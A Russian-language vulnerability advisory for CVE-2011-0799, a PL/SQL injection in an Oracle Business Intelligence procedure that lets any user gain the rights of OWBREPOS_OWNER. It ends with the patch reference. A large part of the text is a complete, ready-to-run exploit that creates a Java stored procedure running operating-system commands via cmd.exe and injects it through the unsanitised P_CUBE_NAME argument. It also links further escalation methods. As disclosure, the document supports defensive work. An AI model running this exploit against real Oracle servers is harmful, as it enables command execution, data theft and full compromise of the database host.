CVE-2011-0799

Вендор

Oracle

Продукт

Oracle Business Intelligence Standard Edition One 10.1.3.2.1 and others 

Тип уязвимости

Повышение привилегий

Reported

20.04.2009

Date of Public Advisory

23.05.2011

Автор

Александр Поляков

Детальное описание

Процедура OWBREPOS_OWNER.WB_OLAP_AW_REMOVE_SET_ID выполняется с правами пользователя OWBREPOS_OWNER и предоставляется пользователю PUBLIC. Эксплуатация уязвимости в этой процедуре может дать любому пользователю права OWBREPOS_OWNER. У OWBREPOS_OWNER есть ряд критичных ролей и привилегий.

PL/SQL инъекция обнаружена в процедуре OWBREPOS_OWNER.WB_OLAP_AW_SET_SOLVE_ID

Уязвимые параметры:

Argument Name Type In/Out Defaul 
------------------------------ ----------------------- ------ ------ 
P_CUBE_NAME VARCHAR2 IN 
P_MEASURE_NAME VARCHAR2 IN 
P_SOLVE_GROUP_ID VARCHAR2 IN 

Аргумент P_CUBE_NAME не санитизован, поэтому злоумышленник может внедрить SQL код, который будет исполнен с правами OWBREPOS_OWNER. OWBREPOS_OWNER не является администратором баз данных (DBA), но у него есть ряд критичных ролей и привилегий, которые могут быть использованы для просмотра любых данных в таблицах базы данных, включая хеши пользователей, а также для получения доступа к файлам ОС, исполнения команд ОС и получения прав SYSDBA. 

Критичные роли и привилегии
1. SELECT ANY DICTIONARY 
2. JAVA_ADMIN 
3. CREATE EXTERNAL JOB 
4. CREATE ANY DIRECTORY 

Эксплойт
***********
1.2. У OWBREPOS_OWNER есть роль "JAVA_ADMIN", поэтому он может выполнять любые команды ОС с привилегиями Owner of Oracle BI process (по умолчанию в Windows это пользователь LOCAL SYSTEM). 

Пример эксплойта
*********************
CREATE OR REPLACE FUNCTION "SCOTT"."SQLI" return varchar2 
authid current_user as 
pragma autonomous_transaction; 
SqlCommand VARCHAR2(2048); 

BEGIN 
SqlCommand := ' 
CREATE OR REPLACE AND RESOLVE JAVA SOURCE NAMED "SRC_EXECUTEOS" AS 
import java.lang.*; 
import java.io.*; 

public class ExecuteOS 
{ 
public static void printFile (String fileName) throws IOException 
{ 
File fileOut; 
FileReader fileReaderOut; 
BufferedReader buffReader; 
String strRead; 

fileOut = new File (fileName); 
fileReaderOut = new FileReader (fileOut); 
buffReader = new BufferedReader(fileReaderOut); 
while ((strRead = buffReader.readLine()) != null) 
System.out.println(strRead); 
} 

public static void execOSCmd (String cmd) throws IOException, java.lang.InterruptedException 
{ 
String[] strCmd = {"cmd.exe", "/c", "1>c:\\stdout.txt", "2>c:\\stderr.txt", cmd}; 

System.out.println("==========\r\nExecuting OS command..."); 
Process p = Runtime.getRuntime().exec(strCmd); 
p.waitFor(); 
System.out.println("\r\n==========\r\nThis was the STANDARD OUTPUT for the command:"); 
printFile ("c:\\stdout.txt"); 
System.out.println("\r\n==========\r\nThis was the ERROR OUTPUT for the command:"); 
printFile ("c:\\stderr.txt"); 
} 
}'; 
execute immediate SqlCommand; 

SqlCommand := ' 
CREATE OR REPLACE PROCEDURE "PROC_EXECUTEOS" (p_command varchar2) 
AS LANGUAGE JAVA 
NAME ''ExecuteOS.execOSCmd (java.lang.String)'';'; 
execute immediate SqlCommand; 

execute immediate 'GRANT EXECUTE ON PROC_EXECUTEOS TO SCOTT'; 

commit; -- Must do a commit 
return ''; -- Must return a value 
END; 
/ 

grant execute on SCOTT.SQLI to PUBLIC; 
/ 

SET SERVEROUTPUT ON 
/ 

exec OWBREPOS_OWNER.WB_OLAP_AW_SET_SOLVE_ID('aaa''||SCOTT.SQLI()||''aaa','bbb','bbb'); 
/ 

CALL dbms_java.set_output(1999); 
/ 

EXEC OWBREPOS_OWNER.proc_executeos ('set'); 
/ 

1.3. У OWBREPOS_OWNER есть привилегия "CREATE EXTERNAL JOB", поэтому он может выполнять любые команды ОС, как, например, в этом эксплойте (http://milw0rm.com/exploits/7677) 

1.4. У OWBREPOS_OWNER  есть привилегия  "CREATE ANY DIRECTORY", поэтому он может получить привилегии SYSDBA или выполнять любые команды ОС, например, этим методом:
http://www.oracleforensics.com/wordpress/wp-content/uploads/2008/10/create_any_directory_to_sysdba.pdf 

Решение
**********
Решение этой проблемы представлено в SAP Oracle Critical patch update April 2011.
http://www.oracle.com/technetwork/topics/security/cpuapr2011-301950.html